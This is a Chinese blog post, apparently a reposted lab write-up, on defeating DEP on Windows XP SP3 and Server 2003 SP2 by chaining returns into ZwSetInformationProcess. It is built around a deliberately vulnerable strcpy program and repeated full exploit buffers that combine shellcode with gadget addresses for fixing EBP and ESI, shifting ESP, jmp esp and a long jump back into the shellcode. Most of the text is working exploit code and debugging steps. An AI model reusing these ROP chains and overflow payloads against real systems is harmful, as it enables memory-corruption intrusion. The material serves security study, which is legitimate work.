利用Ret2Libc挑战DEP——利用ZwSetInformationProcess

来源:互联网 发布:淘宝全钢左轮发令枪 编辑:程序博客网 时间:2024/06/11 12:19

8.10 更新2003 sp2的利用

——————————————————————————————

终于看到著名的DEP机制了,今天可以好好的研究它了!

DEP基本原理就是数据所在内存页标识为不可执行,这样就导致一个问题,就是我们之前所有的实验都建立在一个基础上:shellcode的执行是位于堆或者栈上的,我们通过覆盖上面的正常数据,将可执行的恶意数据放在上面进行程序流程劫持。后来,微软的程序员就发现了这个致命的漏洞,就创建了这个机制:从XP SP2开始,CPU一旦检测到在非可执行区域执行指令,将禁止继续执行并抛出异常。

突破思路:

既然DEP不允许直接执行,我们可以在其他可执行位置为shellcode的每一条指令找到一条替代指令,就可以完成exploit了。(每一条指令都有一个ret,以便回收程序控制权)

《0day》里面讲了3种思路突破dep

  1. 通过跳转到ZwSetInformationProcess函数将DEP关闭,再转入shellcode
  2. 通过跳转到VirtualProtect函数来将shellcode所在内存页设置为可执行状态,再转入shellcode
  3. 通过跳转到VirtualAlloc函数开辟一段具有执行权限的内存空间,然后将shellcode复制到这段内存中执行。
这次,我们来实践第一个思路。利用ZwSetInformationProcess函数关闭DEP!

实验环境

XP SP3(关闭dep)


VS 2008 关闭GS、SafeSEH(我没有用作者说的VC,因为这样配置好也是一样的)
使用release版本、关闭优化



本次实验代码

char shellcode[]="\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95""\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A""\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75""\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03""\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB""\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90""\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址"\x85\x8B\x1D\x5D"//修正EBP"\x19\x4A\x97\x7C"//增大ESP"\xB4\xC1\xC5\x7D"//jmp esp"\x24\xCD\x93\x7C"//关闭DEP代码的起始位置"\xE9\x33\xFF\xFF""\xFF\x90\x90\x90";void test(){char tt[176];strcpy(tt,shellcode);}int main(){HINSTANCE hInst = LoadLibrary(L"shell32.dll");char temp[200];__asm int 3test();    return 0;}

首先调试确定shellcode需要多长能够覆盖返回地址,这里不进行调试演示,应该是在181-184字节进行覆盖ret地址。

我们先来缕清思路,首先我们需要一个ZwSetInformationProcess函数的地址,然而函数参数的构造会出现0x00这样字符,那么我们能不能找到系统中已经调用的这个函数,我们可以直接利用呢。

答案是有的,微软有一个LdrpCheckNXCompatibility函数,当出现DLL收到SafeDisc保护的时候(函数中体现为al=1的时候),就会调用ZwSetInformationProcess函数进行关闭dep,所以我们可以在调用这个函数前把al的值改掉,就能够关闭dep了。关闭dep后,函数有一个retn 4的返回,我们通过构造shellcode,使其刚好返回到shellcode执行地址上。

所以接下来,我们需要找地址了,OD有一个插件ollyfindaddr——find disable dep,能找到今天用到的一系列的指令。首先我们调用的这个LdrpCheckNXCompatibility函数的地址:在step1里面,有一个0x7c93cd24的地址,就是函数ZwSetInformationProcess的地址,在step2里面,就是修改mov eax,1 ret的指令地址,我们选择7C92E252。


当前shellcode布局:

char shellcode[]="\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95""\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A""\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75""\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03""\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB""\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90""\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址"\x24\xCD\x93\x7C"//关闭DEP代码的起始位置;

调试看看:


我们成功的走到了我们修改eax指令的地方,执行了mov eax 1 ,ret    这里ret的时候,esp已经指向下一个ZwSetInformationProcess函数的地址了。



这里说明一下,ret的时候,esp自动会跳到下一个esp+4的地方。继续执行,如图,我们执行到了ZwSetInformationProcess函数的比较cmp ax 1的地方了。esp也跳到了下一行0x12feb0的位置。




继续往下,我们看会发生什么


好像出现了异常,原来ZwSetInformationProcess函数中存在一个对[ebp-4]赋值的语句,但是ebp在刚才的时候已经被我们填充的9090给修改了,所以这里我们需要对ebp进行恢复,使函数能继续进行。

这里可以采用push pop ret的指令进行恢复,查看刚才的findaddr的step 3,这里有ebp恢复的指令地址,看刚才那个寄存器状态发现,只有esp可写,所以我们选择push esp,pop ebp,ret 4指令地址0x5D1D8B85

ret 4指的是,ret到当前esp的地址执行后,esp+4

shellcode:

char shellcode[]="\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95""\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A""\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75""\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03""\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB""\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90""\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址"\x85\x8B\x1D\x5D"//修正EBP"\x24\xCD\x93\x7C"//关闭DEP代码的起始位置;

可以看到,我们执行到这个修复ebp的指令地址上,并且使ebp=当前esp=0x12FEB0,执行这里的ret 4 的时候,程序流程就会跳转到ZwSetInformationProcess函数,并且esp自动+4,同时ret 4再+4,esp将会跳到0x12FEB8




继续执行我们终于来到了call ZwSetInformationProcess前面,看到了堆栈中的4个参数,0x22满足低4位是0010,所以能够关闭dep




继续执行,我们看到zw函数执行完之后,来到了这里,leave的含义是 mov esp ebp,pop ebp,所以esp先是被赋值0x12feb0,然后来到了12FEB4,可是我们失去了shellcode的控制权,怎么才能跳回到shellcode呢?



从上图可以看出来,我们在ZwSetInformationProcess函数最后一步的时候,有一个ret 4,可是当前的这个地址已经被我们push进去的参数4给覆盖了,所以应该调整esp或者ebp,一般来讲抬高栈顶也就是减少esp是个不错的方法,可是我们的shellcode位于低地址,这样可能破坏shellcode,所以变通一下,我们找到了一个增大esp到安全的位置的指令,让ebp和esp空间足够大,这样压栈的参数就不会破坏ebp的范围了。

我们可以使用带有偏移量的retn指令来达到增加esp的目的,利用findaddr——retn n查找指令,第一个参数写0,第二个参数写0x28,结果如图:


这个指令位于ntdll的0x7c974a19,重新布置shellcode:

char shellcode[]="\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95""\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A""\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75""\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03""\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB""\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90""\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址"\x85\x8B\x1D\x5D"//修正EBP"\x19\x4A\x97\x7C"//增大ESP"\x90\x90\x90\x90"//修正ebp的时候的ret偏移4"\x24\xCD\x93\x7C"//关闭DEP代码的起始位置;
继续调试:



来到刚才我们调试到的ZwSetInformationProcess函数最后返回的那一步,这次我们增加了esp,把esp与ebp拉的远远的,函数压栈并没有破坏栈中相关的值,ret之前有一个leave,这个leave很关键,因为它能够保证无论你esp跑到哪里,最后ret的时候,它都能把你esp拉回到ebp的身边(ebp+4的位置),是重点!

这次ret 4的对象就是这个填充值90909090,我们如果把0x0012FEB4替换成jmp esp,ret 4之后esp位于0x0012FEBC,在这里修改成一个长跳转指令跳到我们的shellcode,程序不就可控了吗。jmp esp也是在findaddr里找,我们选择一个0x7DC5C1B4进行填充shellcode,长跳转指令的话,我们需要计算当前位置0x0012FEBC和shellcode离多远,shellcode首地址为0x12FDF4,相减得FFFF38,根据机器码转换:得到指令E9 33FFFFFF


填充shellcode:

char shellcode[]="\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95""\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A""\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75""\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03""\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB""\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90""\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址"\x85\x8B\x1D\x5D"//修正EBP"\x19\x4A\x97\x7C"//增大ESP"\xB4\xC1\xC5\x7D"//jmp esp"\x24\xCD\x93\x7C"//关闭DEP代码的起始位置"\xE9\x33\xFF\xFF""\xFF\x90\x90\x90";

运行程序,溢出成功。

实验总结:

短短的一段shellcode,真的是浓缩着多少人对软件安全发展的研究心血,通过一天的调试,自己一度被绕晕了。不过通过慢慢调试,慢慢跟踪,最终还是整明白了。

"\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址
"\x85\x8B\x1D\x5D"//修正EBP
"\x19\x4A\x97\x7C"//增大ESP
"\xB4\xC1\xC5\x7D"//jmp esp
"\x24\xCD\x93\x7C"//关闭DEP代码的起始位置
"\xE9\x33\xFF\xFF"
"\xFF\x90\x90\x90"

我觉得实验最绕,也是最容易看不懂的地方是,当你到一个地址执行指令的时候,esp已经顺移到下一个esp+4的地方等待ret了,然后在指令执行ret的时候,自然而然就执行了这个esp+4地址的指令,如果retn不带偏移,esp+4,如果是retn 4,esp就移动到了esp+8的地方,等待当前指令ret返回来执行这个esp+8地址的指令。

下面是一个我用visio分析的流程图,额,貌似有点乱。






Windows2003 SP2下的ZwSetInformationProcess的利用

实验在Windows 2003的环境下同样可以利用,但是又多个麻烦的地方是,在ZwSetInformationProcess的最后leave之前有一个对[esi]指向的地址进行写操作,所以我们必须对esi进行修复。

问题:我调试成功之后,我才发现,这里的ZwSetInformationProcess直接调用就成功关闭dep了,不是说好的要mov ax 1的吗???如下图,进入ZwSetInformationProcess函数就开始压栈了,并没有ax的比较啊


char shellcode[]="\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95""\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A""\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75""\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03""\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB""\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8""\x90\x90\x90\x90""\x90\x90\x90\x90""\x90\x90\x90\x90""\xE9\x77\xBE\x77"//修正EBP retn4,并没有mov ax 1啊??
"\x81\x71\xBA\x7C"//pop eax retn"\x0A\x1A\xBF\x7C"//pop pop pop retn"\x3D\x68\xBE\x7C"//pop esi retn"\xBF\x7D\xC9\x77"//push esp jmp eax"\x9B\xF4\x87\x7C"//retn 0x30"\x17\xF5\x96\x7C"//关闭DEP代码的起始位置"\x23\x1E\x1A\x7D"//jmp esp"\xE9\x27\xFF\xFF"//跳转到shellcode起始地址"\xFF\x90\x90\x90";
我先不管了,先把这段堪称神奇的跳转看懂了吧。

这一节我觉的挺难理解的,因为我自己划了好几张纸才看懂。可能是我比较笨。有人能教教我这种连续ret指令怎么看最省力吗?

简单来说就是我们除了修正ebp,还要修正esi。好办啊,可以就像修复ebp那样修正esi啊,我们用findaddr——disable DEP——2003 SP2,发现在step 4里面,人家说找不到这个修正esi的指令。

神勇的作者说,好办,我们变通一下!神勇无敌3指令:

1、pop eax,retn

2、pop esi,retn

3、push esp,jmp eax

天啦撸,我感觉我啥时候才能变成这种变通小王子。

简单来讲:

第1条指令把第2条指令的地址存在了eax里面——第3条指令将esp的值存在了自己的位置,跳到eax指向第2条指令的地址开始执行第2条指令——将esp pop给esi,retn到接下来的第4条指令继续执行。


我们调试一下看看:

好了,我们不看了。知道我截了半天图,你也有可能看糊涂。

我们还用visio看流程!我觉的我这次写的比上个清楚多了!









原创粉丝点击